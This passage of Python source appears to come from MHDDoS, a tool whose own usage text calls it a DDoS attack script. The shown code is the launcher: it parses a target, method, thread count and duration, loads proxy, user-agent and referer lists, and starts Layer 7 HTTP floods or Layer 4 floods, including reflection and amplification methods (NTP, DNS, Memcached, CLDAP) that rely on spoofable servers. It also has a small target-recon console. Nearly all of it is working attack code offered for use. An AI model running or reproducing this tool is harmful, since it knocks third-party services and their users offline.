Tools.humanformat(t[3]),\n                             t[4], t[5], t[6], t[7], str(cpu_percent()) + \"%\",\n                             str(virtual_memory().percent) + \"%\"))\n            if cmd in [\"CFIP\", \"DNS\"]:\n                print(\"Soon\")\n                continue\n\n            if cmd == \"CHECK\":\n                while True:\n                    with suppress(Exception):\n                        domain = input(f'{cons}give-me-ipaddress# ')\n                        if not domain: continue\n                        if domain.upper() == \"BACK\": break\n                        if domain.upper() == \"CLEAR\":\n                            print(\"\\033c\")\n                            continue\n                        if {domain.upper()} & {\"E\", \"EXIT\", \"Q\", \"QUIT\", \"LOGOUT\", \"CLOSE\"}:\n                            exit(-1)\n                        if \"/\" not in domain: continue\n                        logger.info(\"please wait ...\")\n\n                        with get(domain, timeout=20) as r:\n                            logger.info(('status_code: %d\\n'\n                                         'status: %s') %\n                                        (r.status_code, \"ONLINE\"\n                                        if r.status_code <= 500 else \"OFFLINE\"))\n\n            if cmd == \"INFO\":\n                while True:\n                    domain = input(f'{cons}give-me-ipaddress# ')\n                    if not domain: continue\n                    if domain.upper() == \"BACK\": break\n                    if domain.upper() == \"CLEAR\":\n                        print(\"\\033c\")\n                        continue\n                    if {domain.upper()} & {\"E\", \"EXIT\", \"Q\", \"QUIT\", \"LOGOUT\", \"CLOSE\"}:\n                        exit(-1)\n                    domain = domain.replace('https://',\n                                            '').replace('http://', '')\n                    if \"/\" in domain: domain = domain.split(\"/\")[0]\n                    print('please wait ...', end=\"\\r\")\n\n                    info = ToolsConsole.info(domain)\n\n                    if not info[\"success\"]:\n                        print(\"Error!\")\n                        continue\n\n                    logger.info((\"Country: %s\\n\"\n                                 \"City: %s\\n\"\n                                 \"Org: %s\\n\"\n                                 \"Isp: %s\\n\"\n                                 \"Region: %s\\n\") %\n                                (info[\"country\"], info[\"city\"], info[\"org\"],\n                                 info[\"isp\"], info[\"region\"]))\n\n            if cmd == \"TSSRV\":\n                while True:\n                    domain = input(f'{cons}give-me-domain# ')\n                    if not domain: continue\n                    if domain.upper() == \"BACK\": break\n                    if domain.upper() == \"CLEAR\":\n                        print(\"\\033c\")\n                        continue\n                    if {domain.upper()} & {\"E\", \"EXIT\", \"Q\", \"QUIT\", \"LOGOUT\", \"CLOSE\"}:\n                        exit(-1)\n                    domain = domain.replace('https://',\n                                            '').replace('http://', '')\n                    if \"/\" in domain: domain = domain.split(\"/\")[0]\n                    print('please wait ...', end=\"\\r\")\n\n                    info = ToolsConsole.ts_srv(domain)\n                    logger.info(f\"TCP: {(info['_tsdns._tcp.'])}\\n\")\n                    logger.info(f\"UDP: {(info['_ts3._udp.'])}\\n\")\n\n            if cmd == \"PING\":\n                while True:\n                    domain = input(f'{cons}give-me-ipaddress# ')\n                    if not domain: continue\n                    if domain.upper() == \"BACK\": break\n                    if domain.upper() == \"CLEAR\":\n                        print(\"\\033c\")\n                    if {domain.upper()} & {\"E\", \"EXIT\", \"Q\", \"QUIT\", \"LOGOUT\", \"CLOSE\"}:\n                        exit(-1)\n\n                    domain = domain.replace('https://',\n                                            '').replace('http://', '')\n                    if \"/\" in domain: domain = domain.split(\"/\")[0]\n\n                    logger.info(\"please wait ...\")\n                    r = ping(domain, count=5, interval=0.2)\n                    logger.info(('Address: %s\\n'\n                                 'Ping: %d\\n'\n                                 'Aceepted Packets: %d/%d\\n'\n                                 'status: %s\\n') %\n                                (r.address, r.avg_rtt, r.packets_received,\n                                 r.packets_sent,\n                                 \"ONLINE\" if r.is_alive else \"OFFLINE\"))\n\n    @staticmethod\n    def stop():\n        print('All Attacks has been Stopped !')\n        for proc in process_iter():\n            if proc.name() == \"python.exe\":\n                proc.kill()\n\n    @staticmethod\n    def usage():\n        print((\n                  '* MHDDoS - DDoS Attack Script With %d Methods\\n'\n                  'Note: If the Proxy list is empty, The attack will run without proxies\\n'\n                  '      If the Proxy file doesn\\'t exist, the script will download proxies and check them.\\n'\n                  '      Proxy Type 0 = All in config.json\\n'\n                  '      SocksTypes:\\n'\n                  '         - 6 = RANDOM\\n'\n                  '         - 5 = SOCKS5\\n'\n                  '         - 4 = SOCKS4\\n'\n                  '         - 1 = HTTP\\n'\n                  '         - 0 = ALL\\n'\n                  ' > Methods:\\n'\n                  ' - Layer4\\n'\n                  ' | %s | %d Methods\\n'\n                  ' - Layer7\\n'\n                  ' | %s | %d Methods\\n'\n                  ' - Tools\\n'\n                  ' | %s | %d Methods\\n'\n                  ' - Others\\n'\n                  ' | %s | %d Methods\\n'\n                  ' - All %d Methods\\n'\n                  '\\n'\n                  'Example:\\n'\n                  '   L7: python3 %s <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional>\\n'\n                  '   L4: python3 %s <method> <ip:port> <threads> <duration>\\n'\n                  '   L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\\n'\n                  '   L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'\n                  ' Amplification)>\\n') %\n              (len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),\n               \", \".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),\n               \", \".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),\n               \", \".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),\n               \", \".join([\"TOOLS\", \"HELP\", \"STOP\"]), 3,\n               len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),\n               argv[0], argv[0], argv[0], argv[0]))\n\n    # noinspection PyBroadException\n    @staticmethod\n    def ts_srv(domain):\n        records = ['_ts3._udp.', '_tsdns._tcp.']\n        DnsResolver = resolver.Resolver()\n        DnsResolver.timeout = 1\n        DnsResolver.lifetime = 1\n        Info = {}\n        for rec in records:\n            try:\n                srv_records = resolver.resolve(rec + domain, 'SRV')\n                for srv in srv_records:\n                    Info[rec] = str(srv.target).rstrip('.') + ':' + str(\n                        srv.port)\n            except:\n                Info[rec] = 'Not found'\n\n        return Info\n\n    # noinspection PyUnreachableCode\n    @staticmethod\n    def info(domain):\n        with suppress(Exception), get(f\"https://ipwhois.app/json/{domain}/\") as s:\n            return s.json()\n        return {\"success\": False}\n\n\ndef handleProxyList(con, proxy_li, proxy_ty, url=None):\n    if proxy_ty not in {4, 5, 1, 0, 6}:\n        exit(\"Socks Type Not Found [4, 5, 1, 0, 6]\")\n    if proxy_ty == 6:\n        proxy_ty = randchoice([4, 5, 1])\n    if not proxy_li.exists():\n        logger.warning(\n            f\"{bcolors.WARNING}The file doesn't exist, creating files and downloading proxies.{bcolors.RESET}\")\n        proxy_li.parent.mkdir(parents=True, exist_ok=True)\n        with proxy_li.open(\"w\") as wr:\n            Proxies: Set[Proxy] = ProxyManager.DownloadFromConfig(con, proxy_ty)\n            logger.info(\n                f\"{bcolors.OKBLUE}{len(Proxies):,}{bcolors.WARNING} Proxies are getting checked, this may take awhile{bcolors.RESET}!\"\n            )\n            Proxies = ProxyChecker.checkAll(\n                Proxies, timeout=5, threads=threads,\n                url=url.human_repr() if url else \"http://httpbin.org/get\",\n            )\n\n            if not Proxies:\n                exit(\n                    \"Proxy Check failed, Your network may be the problem\"\n                    \" | The target may not be available.\"\n                )\n            stringBuilder = \"\"\n            for proxy in Proxies:\n                stringBuilder += (proxy.__str__() + \"\\n\")\n            wr.write(stringBuilder)\n\n    proxies = ProxyUtiles.readFromFile(proxy_li)\n    if proxies:\n        logger.info(f\"{bcolors.WARNING}Proxy Count: {bcolors.OKBLUE}{len(proxies):,}{bcolors.RESET}\")\n    else:\n        logger.info(\n            f\"{bcolors.WARNING}Empty Proxy File, running flood without proxy{bcolors.RESET}\")\n        proxies = None\n\n    return proxies\n\n\nif __name__ == '__main__':\n    with suppress(KeyboardInterrupt):\n        with suppress(IndexError):\n            one = argv[1].upper()\n\n            if one == \"HELP\":\n                raise IndexError()\n            if one == \"TOOLS\":\n                ToolsConsole.runConsole()\n            if one == \"STOP\":\n                ToolsConsole.stop()\n\n            method = one\n            host = None\n            port = None\n            url = None\n            event = Event()\n            event.clear()\n            target = None\n            urlraw = argv[2].strip()\n            if not urlraw.startswith(\"http\"):\n                urlraw = \"http://\" + urlraw\n\n            if method not in Methods.ALL_METHODS:\n                exit(\"Method Not Found %s\" %\n                     \", \".join(Methods.ALL_METHODS))\n\n            if method in Methods.LAYER7_METHODS:\n                url = URL(urlraw)\n                host = url.host\n\n                if method != \"TOR\":\n                    try:\n                        host = gethostbyname(url.host)\n                    except Exception as e:\n                        exit('Cannot resolve hostname ', url.host, str(e))\n\n                threads = int(argv[4])\n                rpc = int(argv[6])\n                timer = int(argv[7])\n                proxy_ty = int(argv[3].strip())\n                proxy_li = Path(__dir__ / \"files/proxies/\" /\n                                argv[5].strip())\n                useragent_li = Path(__dir__ / \"files/useragent.txt\")\n                referers_li = Path(__dir__ / \"files/referers.txt\")\n                bombardier_path = Path.home() / \"go/bin/bombardier\"\n                proxies: Any = set()\n\n                if method == \"BOMB\":\n                    assert (\n                            bombardier_path.exists()\n                            or bombardier_path.with_suffix('.exe').exists()\n                    ), (\n                        \"Install bombardier: \"\n                        \"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method\"\n                    )\n\n                if len(argv) == 9:\n                    logger.setLevel(\"DEBUG\")\n\n                if not useragent_li.exists():\n                    exit(\"The Useragent file doesn't exist \")\n                if not referers_li.exists():\n                    exit(\"The Referer file doesn't exist \")\n\n                uagents = set(a.strip()\n                              for a in useragent_li.open(\"r+\").readlines())\n                referers = set(a.strip()\n                               for a in referers_li.open(\"r+\").readlines())\n\n                if not uagents: exit(\"Empty Useragent File \")\n                if not referers: exit(\"Empty Referer File \")\n\n                if threads > 1000:\n                    logger.warning(\"Thread is higher than 1000\")\n                if rpc > 100:\n                    logger.warning(\n                        \"RPC (Request Pre Connection) is higher than 100\")\n\n                proxies = handleProxyList(con, proxy_li, proxy_ty, url)\n                for thread_id in range(threads):\n                    HttpFlood(thread_id, url, host, method, rpc, event,\n                              uagents, referers, proxies).start()\n\n            if method in Methods.LAYER4_METHODS:\n                target = URL(urlraw)\n\n                port = target.port\n                target = target.host\n\n                try:\n                    target = gethostbyname(target)\n                except Exception as e:\n                    exit('Cannot resolve hostname ', url.host, e)\n\n                if port > 65535 or port < 1:\n                    exit(\"Invalid Port [Min: 1 / Max: 65535] \")\n\n                if method in {\"NTP\", \"DNS\", \"RDP\", \"CHAR\", \"MEM\", \"CLDAP\", \"ARD\", \"SYN\", \"ICMP\"} and \\\n                        not ToolsConsole.checkRawSocket():\n                    exit(\"Cannot Create Raw Socket\")\n\n                if method in Methods.LAYER4_AMP:\n                    logger.warning(\"this method need spoofable servers please check\")\n                    logger.warning(\"https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack\")\n\n                threads = int(argv[3])\n                timer = int(argv[4])\n                proxies = None\n                ref = None\n\n                if not port:\n                    logger.warning(\"Port Not Selected, Set To Default: 80\")\n                    port = 80\n\n                if method in {\"SYN\", \"ICMP\"}:\n                    __ip__ = __ip__\n\n                if len(argv) >= 6:\n                    argfive = argv[5].strip()\n                    if argfive:\n                        refl_li = Path(__dir__ / \"files\" / argfive)\n                        if method in {\"NTP\", \"DNS\", \"RDP\", \"CHAR\", \"MEM\", \"CLDAP\", \"ARD\"}:\n                            if not refl_li.exists():\n                                exit(\"The reflector file doesn't exist\")\n                            if len(argv) == 7:\n                                logger.setLevel(\"DEBUG\")\n                            ref = set(a.strip()\n                                      for a in Tools.IP.findall(refl_li.open(\"r\").read()))\n                            if not ref: exit(\"Empty Reflector File \")\n\n                        elif argfive.isdigit() and len(argv) >= 7:\n                            if len(argv) == 8:\n                                logger.setLevel(\"DEBUG\")\n                            proxy_ty = int(argfive)\n                            proxy_li = Path(__dir__ / \"files/proxies\" / argv[6].strip())\n                            proxies = handleProxyList(con, proxy_li, proxy_ty)\n                            if method not in {\"MINECRAFT\", \"MCBOT\", \"TCP\", \"CPS\", \"CONNECTION\"}:\n                                exit(\"this method cannot use for layer4 proxy\")\n\n                        else:\n                            logger.setLevel(\"DEBUG\")\n                \n                protocolid = con[\"MINECRAFT_DEFAULT_PROTOCOL\"]\n                \n                if method == \"MCBOT\":\n                    with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:\n                        Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))\n                        Tools.send(s, Minecraft.data(b'\\x00'))\n\n                        protocolid = Tools.protocolRex.search(str(s.recv(1024)))\n                        protocolid = con[\"MINECRAFT_DEFAULT_PROTOCOL\"] if not protocolid else int(protocolid.group(1))\n                        \n                        if 47 < protocolid > 758:\n                            protocolid = con[\"MINECRAFT_DEFAULT_PROTOCOL\"]\n\n                for _ in range(threads):\n                    Layer4((target, port), ref, method, event,\n                           proxies, protocolid).start()\n\n            logger.info(\n                f\"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}\"\n                % (target or url.host, method, timer, threads))\n            event.set()\n            ts = time()\n            while time() < ts + timer:\n                logger.debug(\n                    f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %\n                    (target or url.host,\n                     port or (url.port or 80),\n                     method,\n                     Tools.humanformat(int(REQUESTS_SENT)),\n                     Tools.humanbytes(int(BYTES_SEND)),\n                     round((time() - ts) / timer * 100, 2)))\n                REQUESTS_SENT.set(0)\n                BYTES_SEND.set(0)\n                sleep(1)\n\n            event.clear()\n            exit()\n\n        ToolsConsole.usage()\n"
  }
]